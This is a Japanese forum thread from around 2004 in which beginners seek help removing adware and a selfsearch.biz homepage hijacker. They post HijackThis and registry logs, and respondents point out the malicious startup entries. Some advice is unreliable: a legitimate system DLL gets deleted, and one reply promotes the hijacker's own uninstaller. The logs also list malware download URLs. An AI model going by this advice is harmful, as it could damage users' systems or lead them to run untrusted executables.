Ｃｌｅａｎｉｎｇ　ｕｐ　ｏｒｐｈａｎｅｄ　ｌｅｆｔｏｒｅｒｓ　　　ｄｏｎｅ！！
となるんですが、これはまだウィルスが残ってるということでしょうか？

>>77
諦めれ

>>77
ウイルスです

>>77
システムの復元は、レジストリー値を戻すだけ
問題のファイル自体は残っているので、削除しろ
発動させずに問題のファイル削除できれば、復元終了

>>77
おまい、スキャンディスクもできないんだろ？システムがやられてるんだよ。
スパイウェア心配している場合じゃないだろ。さっさとリカバリしろ。
これはおまいの為に言っている。

あの、CooLWebShredderはダウンロードして実行したのですが、
あとの二つのダウンロード方法がよく分かりません‥(つД`)

CooLでは、さきほどの『Hardcore』は削除できないようです。

皆様親切にありがとうございます。

>>82
Ad-awareSEも、Spybotも公式ページだ。穴が開くほど読め。
英語がわからないなら辞書引け。WEB翻訳使え。

>>80
誰かこのバカにシステムの復元タスクの監視拡張子ファイルを教えてやってくれ！

つうか>>32はウィルススキャンとかやったのかな。一言も触れてないが。

＞システムの復元は、レジストリー値を戻すだけ
ちがう

>>77
結局システムの復元をして、スキャンディスクは使えるようになったのか？
CWShredder以外のテンプレはやったのか？
アンチウィルスソフトは入ってるのか？（どう見ても入ってなさそうなんだけど）

さっき再起動したらスキャンディスクは出来るようになってました。
試したことと言えば
ＭｃＡｆｅｅ　ＶＳｈｉｅｌｄとＳｐｙｂｏｔとＣＷＳｈｒｅｄｄｅｒです。
システムの復元をして
スタートアップ時のフリーズを止めるため
スタートアップタブでＭｓｂｂのチェックを外しました。
以前は「Ｍｓｂｂの一般保護エラーです」とか
真っ黒い画面に白いバーが出てきて
この文字が表示されたりしていましたが
今は落ち着いています。
根本的に削除する方法といえば、やはりﾘｶﾊﾞﾘしかないのでしょうかね？？
素人のあたしがリカバリして一から設定し直すなんて
ネットに接続出来なくなりそうで怖いです。。。

>>88
早くﾘｶﾊﾞﾚ 根釜野郎

アンチウィルスソフトですか・・・？
すいません、わかりません。。。
テンプレの１つ「日本語パッチ」？とかいうのダウンロードしてみましたが
「失敗しました」と出て起動出来ませんでした。

［システムの復元］
ファイル・システム・フィルタ・ドライバと呼ばれるカーネル・レベルのドライバを利用して、
Windowsの中核となるシステム・ファイルやアプリケーション・ファイルに対する操作を
監視している。そして、それらのファイルに対する変更処理を検出すると、変更処理を
実行する以前のファイルの状態を記録し、ファイルをコピーまたは移動する。
例えばファイルの削除が実行されたら、フィルタによって削除処理に割り込み、当該
ファイルを別の場所にコピーし、削除処理によってファイルがコピーされたことをログに
記録しておく。このようにして「システムの復元」では、システム・ファイルに加えられた
変更内容を逐一追跡し、復元ポイントを保存できるようにしている。

この辺に詳しく書かれている
「システム・クラッシュからの復活」
tp://www.atmarkit.co.jp/fwin2k/operation/srestore/srestore_01.html

つД｀） ﾀｽｹﾚ !!

>>88
スキャンディスクができるようになったなら、テンプレ全部やれ。
テンプレやるのが面倒くさいなら、リカバリしろ。
McAfee VShieldって時点で、多分ふるーいMcAfeeなんだろうなと思った。
>>3のオンラインスキャンは絶対やれ。俺は100％ウィルス入ってると思う。

McAfeeをばかにしないで

>>89
何でリカバリーにこだわるの？
普通必要なデータのバックアップしてからじゃないと
リカバリーするわけには行かないだろうし、現状では
バックアップできる環境では無いと書かれているでしょ

32 ID出したり、出さなかったり
真偽が分からんちゃんとしろよ

こいつのパソコン窓から捨ててぇぇえぇぇぇええええええｗｗｗｗｗｗｗｗｗｗｗ

>>96
そうしてーええええええええええええええええええええぇぇぇぇぇぇぇぇぇぇぇぇぇぇぇｗｗｗｗｗｗ

>>95
ファイアーウォールもないだろうからトロイの発信源なんだぞ。
リカバリ、つうかホントに窓から捨ててやりたいよ。
被害は俺らに来るってえのに悠長に構えすぎだよおまえ。

>>98
気にすんなデブ

>>98
トロイが>>32から発信されようと痛くも痒くもありませんが何か？

>>99
ダマレ禿！

>>100
おまいは携帯だからなｗｗｗｗ

はやくウンチウィルスソフト買ってこいやぁぁぁぁあああああ！！！！１！

いまから買いに行ってきます！

今からコロッケ買ってきます

>>103
すいませんどこに行けば買えますか？

>>106
オンラインスキャンはどうした？>>3

パソコンつけるといつもdxなんとかっていうエロサイトが開くんですけど…＾＾；ホームは直たんですけど。これって何なんですか？

どう見てもさげてる32は騙りだろうって

>dxなんとか

謎掛けしてんじゃねえよ

９０から一度も書き込みしてませんので・・・
困惑させてしまってごめんなさい。。。
>>3
のオンラインスキャン今やってみますね。
何度もごめんなさい。

<=^u^=>みんな仲良くするニダよ

>>108 のはライブチャットが出てくるんです

>>113
便利でいいな

さきほどのソフト全て実行しましたが、
ホームページの設定がttp://www.selfsearch.biz/になったままで直せません‥
履歴もやはり消せないままです。
それと、ディスプレイの表示の拡大化もそのままでした。

ですが、Hardcoreは削除できました！
ツールバーに英字の何かがついていたのですが、それも解消しました。

あとは何をすべきなのでしょうか？

>>115
（・３・）　エェー　http://www.selfsearch.biz/support.html
　　　　　　　　　　自己責任でNE

>>115
logでも貼ってみろや

>>115
テンプレ>>4を穴が開くほど見ろ。そしてリンク先もきちんと読め。

>>65
IEはまだ使えない状態なのか？アンチウィルスソフトは入ってるの？
その症状はたぶんウィルスの仕業だと思うんだけど。

>>119
適当ﾚｽしないで

Ad-awareSE日本語化パッチがうまくできません。
デスクトップに保存するのが間違っているんでしょうか？
デスクトップに置いた後
解凍してダブルクリックしてますが
失敗しましたと表示されてしまいます。
どなたかお教え下さいませんか？
お願い致します。

>>121
( ﾟДﾟ)ﾊｧ?　英語版でやれよ馬鹿

>>121
（・３・）　エェー　大概の日本語化パッチは　当てるファイルと同じフォルダに放り込んで実行しないと駄目だYO
　　　　　　　　　　説明よく読めYO

>>121
Ad-Sware.EXEがある場所でやらないと意味ないぞ。がんがって探せ。

皆様有り難うございます。
IEはいまのところ強制終了されません。画面が大きく表示される事以外は普通に使えています。

アンチウィルスソフトはnorton2003が入っています。

テンプレ>>4見落としていました。今からいってきます。

>>125
>アンチウィルスソフトはnorton2003が入っています。
最新の定義にアップデートした後にスキャンもしてみた？
画面が大きく表示されるのは、「画面のプロパティ」あたりをいじくれば治るんじゃねーの？

test

ttp://kantweb.s7.x-beat.com/bbs1/img-box/img20040821174117.jpg

ダイアルアップの時代なら、Q２とか国際電話で初心者を騙し笑いが止
らないほど儲けるそんな業者が横行していた、ところがADSLが主流の
現在はQ２とか国際が接続できないので商売が上がったりだ。
サンプルだけをあさっていくユーザーに正式な契約させる為に、簡単
に削除できないような迷惑ソフトが開発された、迷惑ソフトは高値で
アダルトサイトの業者に飛ぶように売れた。エロ画像のサンプルをダ
ンロードするユーザーに効果的に機能している、今かなり流行ってい
る。
簡単な仕組みで大勢の初心者を騙し儲けた来た業者は、ユーザーを甘
く見ている、誰もが下らないアダルトサイトに正式に契約すると考え
ているから浅はかだ。銀行振込でもカード支払いでも、いったん契約
すると解除できない仕組みになっている、解約は簡単だとか自動的に
解約できますなどと言うのがその証拠だ。不安を抱くユーザーに安心
させる為の騙しだ。大体 無修正などといていながら無修正であったた
めしがない、無修正で見れる無料サイトは無料とか無修正なんて一言
も書いていない。迷惑ソフトを開発した企業の技術者が、ここにもか
なりレスしているようだが、大勢の人間が迷惑してその効果は十分に
果たした。だから満足していい、簡単にユーザーは解決策は見つけら
れない。だからこんな所へ書き込みするのは止めろ。

>>129
15点

皆さん色々教えて下さって有難う御座います。
今なんとか出来たようです。
２８８とか数字が出てましたけど
あたし英語できないので適当にクリックしてスキャンかけたみたいです。
２８８とはウィルスの数なんですかね？
これでＭｓｂｂに関しては解決したんでしょうか？

>>131
msbbってnCase(180Solutions)だからコンパネから
アンインストールできるんじゃなかったけ？
ダメな場合もあるようだけど・・・。

参考までに
nCase
ttp://higaitaisaku.web.infoseek.co.jp/cgi-bin/ht/database.cgi?cmd=dp&num=58
Adware-180Solutions（McAfee)
ttp://www.mcafeesecurity.com/japan/security/virA2003.asp?v=Adware-180Solutions
Adware.180Search(symantec)
ttp://www.symantec.com/region/jp/avcenter/venc/data/adware.180search.html

>>131
Ad-awareSEで288個なら、大半はCookeiじゃないか

>>130
迷惑ソフトの開発技術者の野郎が反応しゃっがった。驚いたね。

>>15>>20
大体この辺が迷惑ソフト開発技術者か業者だね、テレビでよく元犯罪者とか
にインタビューする番組があるが、あんな風に、何か迷惑ソフトの開発で
苦労した点とか、今後の展望やインターネットの問題点、そうしたら楽して稼げる
かとか、いろいろ書き込んで欲しいものだが。

開発するだけのスキルはなさそう。
罠リンク貼ったり、ロダでバラまいてるだけだろ。

アタマがアレな奴は放っといて、次の患者さんまだかな。

>>135
何が迷惑ソフトだよ
このなの開発している類には入らない
バッファオーバーランのセキュリティホールのスクリプトと既存のスパイウェアプログラムをくっ付けてインストールさせるようにしているだけじゃないか
ただ単に、リンク踏ませるとスパイウェアの開発者にマージンが入るだけじゃないのか？

たしけて〜〜〜・・・

win98secなのですが、
マイコンピュータとか、マイピクチャーとかあるじゃないですかそれを開くと、
飛来だフォルダ左の三分の一の部分に情報欄があって、
残り右半分にその中のファイルが普通表示されますよね。

で、その表示方法を、変えるときは、ツールバーにある【表示】って所で
大きいアイコンとか、小さいアイコンに変えれますよね。
その【表示】の中に、98では、Webページっていうのが通常表示方法ぽいのですが
いままではその Webページという表示方法で、上記のフォルダ開いたときに
左と右に分割されて表示されてたのですが、

海外サイトをつい見てしまい重くなって再起動した後から、
その Webページ　の表記方法にすると、ネットのサイトで画像が削除されて
画像が無い時のマークが左右両方の欄に出て、
ファイルが見れなくなってしまいました。

しかし、【表示】で大きいアイコンや一覧に変えると、一応表示はされるのです
よくある、ハードディスクの残量を見るときに、(Ｃ;)をクリックすると
その、左の情報欄にハードディスクの使用量の円が表示されるところが
何にも表示されないのです。

どうにかお助け下さい・・

すいません、テンプレ>>4に書いてあった事をやってみたのですが、
ＣＬＳＩＤにでたものがサイトにあったものと違っていたので、
削除していいものか判断してもらえませんか？
こちらです↓

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad]
"PostBootReminder"="{7849596a-48ea-486e-8937-a2a3009f31a9}"
"CDBurn"="{fbeb8a05-beee-4442-804e-409d6c4515e9}"
"WebCheck"="{E6FB5E20-DE35-11CF-9C87-00AA005127ED}"
"SysTray"="{35CEC8A3-2BE6-11D2-8773-92E220524153}"

REGEDIT4

[HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}]
@="SysTray"

[HKEY_CLASSES_ROOT\CLSID\{35CEC8A3-2BE6-11D2-8773-92E220524153}\InprocServer32]
@="C:\\WINDOWS\\System32\\stobject.dll"
"ThreadingModel"="Both"

>>140
同じの食らったことあるけど、それだったよ。
テンプレにあるのは古い例。

なんか海外サイトにつながるやつを踏んでしまって
ウィルスやらスパイウェアやらがいっぱい入ってきました。
テンプレにのっていた除去法と手動削除でなんとかなりつつあるのですが
最初のページがhttp://www.selfsearch.bizになってしまうのと
「Media Tickets Installer」というアドウェアだけがなんど削除しても再生してしまいます。
どうしたらよいでしょうか？

新しいネタ、「迷惑ソフトの開発技術者」ですか
それにしても>>129 只長いだけで、小学生みたいな文章だな

皆様本当にどうも有り難うございました！
どうやら修復できたみたいです。
一時はどうなってしまうのかと思いましたが、こうして無事に使用できる様になり本当にうれしいです。
重ね重ね有り難うございました！(*´∀`)

（=^・^=）喜んでもらえると嬉しいなりよ

↑のような事を書き込んだのに、再起動したら復活していました‥
p://www.selfsearch.biz/が‥！
とりあえず、C:\\WINDOWS\\System32\\stobject.dllは削除しましたが、
テンプレにあるC:\WINDOWS\system.exeファイルがなかったので何もしなかったのですが、
やはりそれが原因でしょうか？
>>141
貴方の場合もありませんでしたか？もしまだいるようでしたら返事くれると嬉しいです。

>>146
俺も実家のPC（Me）が「ホーム」ボタン押すと同じサイトに飛ぶ。アイコン
開かなくなったが、何とか裏技使ってデジカメの貯蔵をUSB経由⇒自分の
ノート（XP）に逃がした。もうMeはﾀﾞﾒっぽっく、初期化しようかと思案中
なんだが。どうしたものかね。

>>146
たしかファイル名は別の名前だったと思う。

いろいろいじっていたら、WINDOWSフォルダの中にsystemと、system32というフォルダを発見しました。
名前が名前だけに削除に躊躇するのですが、諸悪の根元はこれらでいいのでしょうか？

>>149
それは最初からある一番大事なフォルダ

>>149
（；・３・）　エェー　そりゃシステム最重要フォルダだYO…

>>149
逆。systemは重要だから、ウイルスがそれに似たsystem.exeを名乗ってるだけ。

ﾜﾗﾀ！stobject.dll消したのか？

>>146
どうしても直らなかったら、俺が最後に直してやるから心配するな

ですがそうすると、問題だと思われるファイルが見あたらないのですが‥
どうすればいいのでしょうか？

あふぉ回答者にハメられたかｗ

>>149
http://homepage3.nifty.com/sato_yasu/spy/ShellServiceObjectDelayLoad.html

（・３・）　エェー　だからwww.selfsearch.bizにアンインストーラあるJAN…

>>155
とりあえず勝手に削除したもの元に戻しておけ

　 　　　　　　　　　,:::-､ 　 　 　　__
　　　　　　,,r::::::::::::〈:::::::::） 　　　ｨ::::::ヽ
　 　 　　〃::::::::::::;r‐''´:::::::::::::::::::::ヽ::ノ
　　　　,'::;'::::::::::::::/::::::::::::::::::::::::::::::::::::
　 　 　l::::::::::::::::::ｌ::::::::::●::::::::::::::●:::::ｊi
　　　　|::::::::::::::::::、::::::::::::::( _●_)::::::,j:l 　クマー！
　　　　}::::::::::::::::::::ゝ、::::::::::|∪|_ノ::;!
.　 　　{::::::::::::::::::::::::::::`='=::ヽノ:::::/ 　　　　
　　　　';::::::::::::ﾄ､::::::::::::::i＾i::::::::::::/
　 　 　 ｀ｰ--'　ヽ:::::::::::ｌ l;;;;::::ノ

>>153
そんな大事なファイルだったのですか！？
削除してしまったらどうすればいいのでしょうか‥
systemのその他のファイルは削除せずに済みました。

別に無くてもいいんじゃね？システムファイルだけど。

>>161
流れがわかんないから答えられないけど、いままで何をやったのか整理して書いとけよ。
テンプレ全部やったか？

>>161
心配すんな！
expandでいくらでも復元出来るし、
C:\WINDOWS\SYSTEM32\dllcache
ここにバックアップがあるだろ？

>>158
一時は消えても、再起動するとまた復活してしまいます‥。

いったいどうすればいいのでしょうか？なんだか泣きたくなってきました。

>>165
（・３・）　エェー　もう面倒だからHijackthisのログ貼れBA？　誰か見てくれるYO

>>165
http://www.selfsearch.biz/uninstall.exe
ぼるじょあ全く無視かよおまえｗ
これでとっととアンインスコしろよ。

質問者に飢えてたんで丁度いいじゃんｗ

If you want remove homepage http://www.selfsearch.biz
please download this software, run it and then restart the computer.

訳
ホームページからhttp://www.selfsearch.bizを取り除きたいなら
このソフトを入れろやデブ。使ったらPC再起動しとけよハゲ。

>>165
ここに何か登録されていないか確認しろ
http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionId=9286

なければ、HKEY_CLASSES_ROOT\CLSIDにファイルが登録されているから、
それを見つけ出さなければならない

PC初心者板の回答者共、俺達の活躍を目に焼き付けろやぁ！！

次の患者来い！ぐへへ

質問者、気がついて逃げやがったな。

>>167
それを使って、一度はアンインストールできるんですが、
再起動するとまた元に戻ってしまっているんです。

>>170
何も登録されていませんでした‥

ログをとったので貼ってもいいですか？

最初のページがおかしくなってしまったのでテンプレの応急処置の手順をやろうと思ったのですが
8のwindows updateをやらないと元には戻らないのでしょうか？

>>174
（・３・）　エェー　ｶﾓｰﾝ

>>175
（・３・）　エェー　すでにおかしいのは直らないYO　あれはむしろ転ばぬ先の杖ってことだYO

それでは貼らせて頂きます。

StartupList report, 2004/08/30, 20:43:54
StartupList version: 1.52.2
Started from : C:\Documents and Settings\Uzer\デスクトップ\hijackthis\HijackThis.EXE
Detected: Windows XP SP1 (WinNT 5.01.2600)
Detected: Internet Explorer v6.00 SP1 (6.00.2800.1106)
* Using default options
* Showing rarely important sections
==================================================

>>174
直んねえのかよ。嘘くせえな。

Running processes:

C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\System32\igfxtray.exe
C:\WINDOWS\System32\hkcmd.exe
C:\WINDOWS\System32\ezSP_Px.exe
C:\WINDOWS\AGRSMMSG.exe
C:\Program Files\Common Files\Symantec Shared\ccApp.exe
C:\Program Files\MELCO INC\エアステーションユーティリティ

\CLIENTMG\ABReceiver.exe
C:\WINDOWS\System32\host32.exe
C:\WINDOWS\System32\zktlzvo.exe
C:\WINDOWS\System32\ctfmon.exe
C:\Program Files\Sony\Giga Pocket\shwserv.exe
C:\Program Files\Common Files\Microsoft Shared\VS7Debug\mdm.exe
C:\Program Files\Messenger\msmsgs.exe
C:\Documents and Settings\User\Application Data\meaa.exe
C:\WINDOWS\System32\ndpoqr.exe
C:\Program Files\Norton AntiVirus\navapsvc.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\System32\Tablet.exe
C:\Program Files\PenPlusﾊﾟｰｿﾅﾙ\PenHusen.exe
C:\Program Files\Sony\VAIO Action Setup\VAServ.exe
C:\Program Files\Sony\USBSircs\usbsircs.exe
C:\Program Files\Sony\Giga Pocket\ReserveModule.exe
C:\Program Files\Sony\Giga Pocket\gps.exe
C:\Program Files\Sony\Giga Pocket\RM_SV.exe
C:\WINDOWS\System32\printer32.exe
C:\WINDOWS\System32\wuauclt.exe
C:\WINDOWS\System32\conime.exe
C:\Program Files\Live2ch\Live2ch.exe
C:\WINDOWS\System32\DllHost.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Documents and Settings\User\デスクトップ\hijackthis\HijackThis.exe

--------------------------------------------------

Listing of startup folders:

Shell folders Common Startup:
[C:\Documents and Settings\All Users\スタート メニュー\プログラム\スタートアップ]
Adobe Gamma Loader.lnk = ?
PenPlus手書きメモ.lnk = ?
VAIO Action Setup (サーバー).lnk = ?
リモコンドライバ.lnk = ?
予約マネージャー.lnk = C:\Program Files\Sony\Giga Pocket\ReserveModule.exe

--------------------------------------------------

スタートアップリストじゃん

Checking Windows NT UserInit:

[HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
UserInit = C:\WINDOWS\system32\userinit.exe,

--------------------------------------------------

Autorun entries from Registry:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run

IMJPMIG8.1 = "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
PHIME2002ASync = C:\WINDOWS\System32\IME\TINTLGNT\TINTSETP.EXE /SYNC
PHIME2002A = C:\WINDOWS\System32\IME\TINTLGNT\TINTSETP.EXE /IMEName
IgfxTray = C:\WINDOWS\System32\igfxtray.exe
HotKeysCmds = C:\WINDOWS\System32\hkcmd.exe
StorageGuard = "C:\Program Files\VERITAS Software\Update Manager\sgtray.exe" /r

i-FilterPE = C:\Program Files\Digital Arts\i-FilterPE\IfpeLaunch.exe
ezShieldProtector for Px = C:\WINDOWS\System32\ezSP_Px.exe
AGRSMMSG = AGRSMMSG.exe
imjpmig = C:\Program Files\Common Files\Microsoft Shared\IME\IMJP\imjpmig.exe /RemAdvDef /AIMEREG /Migration /SetPreload
ccApp = "C:\Program Files\Common Files\Symantec Shared\ccApp.exe"
ccRegVfy = "C:\Program Files\Common Files\Symantec Shared\ccRegVfy.exe"
IMEKRMIG6.1 = C:\WINDOWS\ime\imkr6_1\IMEKRMIG.EXE
MSPY2002 = C:\WINDOWS\System32\IME\PINTLGNT\ImScInst.exe /SYNC
ABRECEIVER = "C:\Program Files\MELCO INC\エアステーションユーティリティ\CLIENTMG\ABReceiver.exe"
ControlPanel = C:\WINDOWS\System32\host32.exe internat.dll,LoadKeyboardProfile
vevolxarcds = C:\WINDOWS\System32\zktlzvo.exe

--------------------------------------------------

具体的にどこを貼ればいいかよくわからなかったので‥
すいません。
一体どのあたりのを貼ればいいのですか？

やっぱテンプレやってねー

（・３・）　エェー　まぁたしかにろくでもないもん走ってるNE　SCAN押したあとSAVE LOGだYO

C:\WINDOWS\System32\host32.exe
C:\WINDOWS\System32\zktlzvo.exe

>>186
スタータアップログでも出ているけど
その状態じゃ治せない。
ControlPanel = C:\WINDOWS\System32\host32.exe internat.dll,LoadKeyboardProfile

HijackThisを起動してScanして
04に登録されている[ControlPanel]を見つけてFixしたのちに再起動。
問題がなければhost32.exeをゴミ箱に移して、
もう一度テンプレを実行してゴミ掃除。

vevolxarcds = C:\WINDOWS\System32\zktlzvo.exe
04の[vevolxarcds]もです。
ぱっと見で見落としました。すみません。

やっぱり再起動して問題がなければzktlzvo.exeを、
ゴミ箱に移して様子を見てください。

>>188
さすがですね。

とりあえずログ貼ってみます。

Logfile of HijackThis v1.98.2
Scan saved at 21:16:08, on 2004/08/30
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Common Files\Symantec Shared\ccEvtMgr.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\System32\igfxtray.exe
C:\WINDOWS\System32\hkcmd.exe
C:\WINDOWS\System32\ezSP_Px.exe
C:\WINDOWS\AGRSMMSG.exe
C:\Program Files\Common Files\Symantec Shared\ccApp.exe
C:\Program Files\MELCO INC\エアステーションユーティリティ\CLIENTMG\ABReceiver.exe

\CLIENTMG\ABReceiver.exe
C:\WINDOWS\System32\host32.exe
C:\WINDOWS\System32\zktlzvo.exe
C:\WINDOWS\System32\ctfmon.exe
C:\Program Files\Sony\Giga Pocket\shwserv.exe
C:\Program Files\Common Files\Microsoft Shared\VS7Debug\mdm.exe
C:\Program Files\Messenger\msmsgs.exe
C:\Documents and Settings\ERIKO\Application Data\meaa.exe
C:\WINDOWS\System32\ndpoqr.exe
C:\Program Files\Norton AntiVirus\navapsvc.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\System32\Tablet.exe
C:\Program Files\PenPlusﾊﾟｰｿﾅﾙ\PenHusen.exe
C:\Program Files\Sony\VAIO Action Setup\VAServ.exe
C:\Program Files\Sony\USBSircs\usbsircs.exe
C:\Program Files\Sony\Giga Pocket\ReserveModule.exe
C:\Program Files\Sony\Giga Pocket\gps.exe
C:\Program Files\Sony\Giga Pocket\RM_SV.exe
C:\WINDOWS\System32\printer32.exe
C:\WINDOWS\System32\wuauclt.exe
C:\WINDOWS\System32\conime.exe
C:\WINDOWS\system32\NOTEPAD.EXE
C:\Documents and Settings\ERIKO\デスクトップ\hijackthis\HijackThis.exe

O2 - BHO: LocalNRDObj Class - {00320615-B6C2-40A6-8F99-F1C52D674FAD} - C:\WINDOWS\localNRD.dll
O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Adobe\Acrobat 5.0\Reader\ActiveX\AcroIEHelper.ocx
O2 - BHO: (no name) - {39DF652E-CC4F-26E2-D505-11557CA07441} - C:\WINDOWS\System32\lsktmcol.dll
O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} - C:\Program Files\Spybot - Search & Destroy\SDHelper.dll
O2 - BHO: (no name) - {7B55BB05-0B4D-44fd-81A6-B136188F5DEB} - C:\WINDOWS\questmod.dll
O2 - BHO: (no name) - {A3DFDA85-1D92-4E28-8C0C-522574ACDC8A} - C:\WINDOWS\System32\msacrohlp.dll
O2 - BHO: NLS UrlCatcher Class - {AEECBFDA-12FA-4881-BDCE-8C3E1CE4B344} - C:\WINDOWS\System32\nvms.dll
O2 - BHO: NAV Helper - {BDF3E430-B101-42AD-A544-FADC6B084872} - C:\Program Files\Norton AntiVirus\NavShExt.dll
O2 - BHO: CB UrlCatcher Class - {CE188402-6EE7-4022-8868-AB25173A3E14} - C:\WINDOWS\System32\mscb.dll
O2 - BHO: ADP UrlCatcher Class - {F4E04583-354E-4076-BE7D-ED6A80FD66DA} - C:\WINDOWS\System32\msbe.dll
O3 - Toolbar: ラジオ(&R) - {8E718888-423F-11D2-876E-00A0C9082467} - C:\WINDOWS\System32\msdxm.ocx
O3 - Toolbar: Norton AntiVirus - {42CDD1BF-3FFB-4238-8AD1-7859DF00B1D6} - C:\Program Files\Norton AntiVirus\NavShExt.dll

O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32
O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\System32\IME\TINTLGNT\TINTSETP.EXE /SYNC
O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\System32\IME\TINTLGNT\TINTSETP.EXE /IMEName
O4 - HKLM\..\Run: [IgfxTray] C:\WINDOWS\System32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\WINDOWS\System32\hkcmd.exe
O4 - HKLM\..\Run: [StorageGuard] "C:\Program Files\VERITAS Software\Update Manager\sgtray.exe" /r
O4 - HKLM\..\Run: [i-FilterPE] C:\Program Files\Digital Arts\i-FilterPE\IfpeLaunch.exe
O4 - HKLM\..\Run: [ezShieldProtector for Px] C:\WINDOWS\System32\ezSP_Px.exe
O4 - HKLM\..\Run: [AGRSMMSG] AGRSMMSG.exe
O4 - HKLM\..\Run: [imjpmig] C:\Program Files\Common Files\Microsoft Shared\IME\IMJP\imjpmig.exe /RemAdvDef /AIMEREG /Migration /SetPreload
O4 - HKLM\..\Run: [ccApp] "C:\Program Files\Common Files\Symantec Shared\ccApp.exe"
O4 - HKLM\..\Run: [ccRegVfy] "C:\Program Files\Common Files\Symantec Shared\ccRegVfy.exe"
O4 - HKLM\..\Run: [IMEKRMIG6.1] C:\WINDOWS\ime\imkr6_1\IMEKRMIG.EXE
O4 - HKLM\..\Run: [MSPY2002] C:\WINDOWS\System32\IME\PINTLGNT\ImScInst.exe /SYNC
O4 - HKLM\..\Run: [ABRECEIVER] "C:\Program Files\MELCO INC\エアステーションユーティリティ\CLIENTMG\ABReceiver.exe"
O4 - HKLM\..\Run: [ControlPanel] C:\WINDOWS\System32\host32.exe internat.dll,LoadKeyboardProfile
O4 - HKLM\..\Run: [vevolxarcds] C:\WINDOWS\System32\zktlzvo.exe
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\System32\ctfmon.exe
O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
O4 - HKCU\..\Run: [Bhao] C:\Documents and Settings\ERIKO\Application Data\meaa.exe
O4 - HKCU\..\Run: [Vlru] C:\WINDOWS\System32\ndpoqr.exe

O8 - Extra context menu item: Bookshelfで検索(&L) - res://C:\Program Files\Microsoft Reference\Microsoft Bookshelf 3.0\bsdef.dll/#1001
O8 - Extra context menu item: Microsoft Excel にエクスポート(&X) - res://C:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O14 - IERESET.INF: START_PAGE_URL=http://www.vaio.sony.co.jp/
O15 - Trusted Zone: *.mt-download.com
O15 - Trusted Zone: *.my-internet.info
O15 - Trusted Zone: *.searchmeup.cc
O15 - Trusted Zone: *.searchmiracle.com
O15 - Trusted Zone: *.skoobidoo.com
O16 - DPF: v2cab - http://searchmiracle.com/cab/v2cab.cab
O16 - DPF: WebWorks Help 2.0 - file://C:\Program Files\procreate Painter Classic\Help\wwhelp2.cab
O16 - DPF: {29F5DFC6-6A4B-47DB-BCF4-5A74F7CBFF43} (HanGamePluginJP13 Class) - http://www.hangame.co.jp/gamenc/HanGamePluginJP13.cab
O16 - DPF: {B94B4225-E02E-4D3F-BADB-026F1E2F3AD7} (HttpDownloader Control) - http://www.instantplugin.com/SexDownloader.cab

　 ∧＿∧
　（　・∀・） ﾄﾞｷﾄﾞｷ
　（　∪ ∪
　と＿_）__）

(=^u^=)　今、解析中なりよ。

（・３・）　エェー　確定で要らないのが
O4 - HKLM\..\Run: [ControlPanel] C:\WINDOWS\System32\host32.exe internat.dll,LoadKeyboardProfile
O4 - HKLM\..\Run: [vevolxarcds] C:\WINDOWS\System32\zktlzvo.exe
O4 - HKCU\..\Run: [Bhao] C:\Documents and Settings\ERIKO\Application Data\meaa.exe
O4 - HKCU\..\Run: [Vlru] C:\WINDOWS\System32\ndpoqr.exe
O15 - Trusted Zone: *.mt-download.com
O15 - Trusted Zone: *.my-internet.info
O15 - Trusted Zone: *.searchmeup.cc
O15 - Trusted Zone: *.searchmiracle.com
O15 - Trusted Zone: *.skoobidoo.com
O16 - DPF: v2cab - http://searchmiracle.com/cab/v2cab.cab
O16 - DPF: {B94B4225-E02E-4D3F-BADB-026F1E2F3AD7} (HttpDownloader Control) - http://www.instantplugin.com/SexDownloader.cab

で　ちょっとO2項目自信ないけど
O2 - BHO: LocalNRDObj Class - {00320615-B6C2-40A6-8F99-F1C52D674FAD} - C:\WINDOWS\localNRD.dll
O2 - BHO: (no name) - {39DF652E-CC4F-26E2-D505-11557CA07441} - C:\WINDOWS\System32\lsktmcol.dll
O2 - BHO: (no name) - {7B55BB05-0B4D-44fd-81A6-B136188F5DEB} - C:\WINDOWS\questmod.dll
O2 - BHO: (no name) - {A3DFDA85-1D92-4E28-8C0C-522574ACDC8A} - C:\WINDOWS\System32\msacrohlp.dll
O2 - BHO: NLS UrlCatcher Class - {AEECBFDA-12FA-4881-BDCE-8C3E1CE4B344} - C:\WINDOWS\System32\nvms.dll
